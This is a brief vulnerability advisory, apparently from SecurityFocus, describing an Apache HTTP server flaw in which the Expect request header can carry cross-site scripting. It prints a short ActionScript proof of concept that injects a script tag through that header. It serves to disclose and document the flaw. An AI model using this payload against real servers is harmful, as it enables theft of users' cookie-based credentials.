source: http://www.securityfocus.com/bid/19661/info

Apache HTTP server is prone to a security weakness related to HTTP request headers.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET");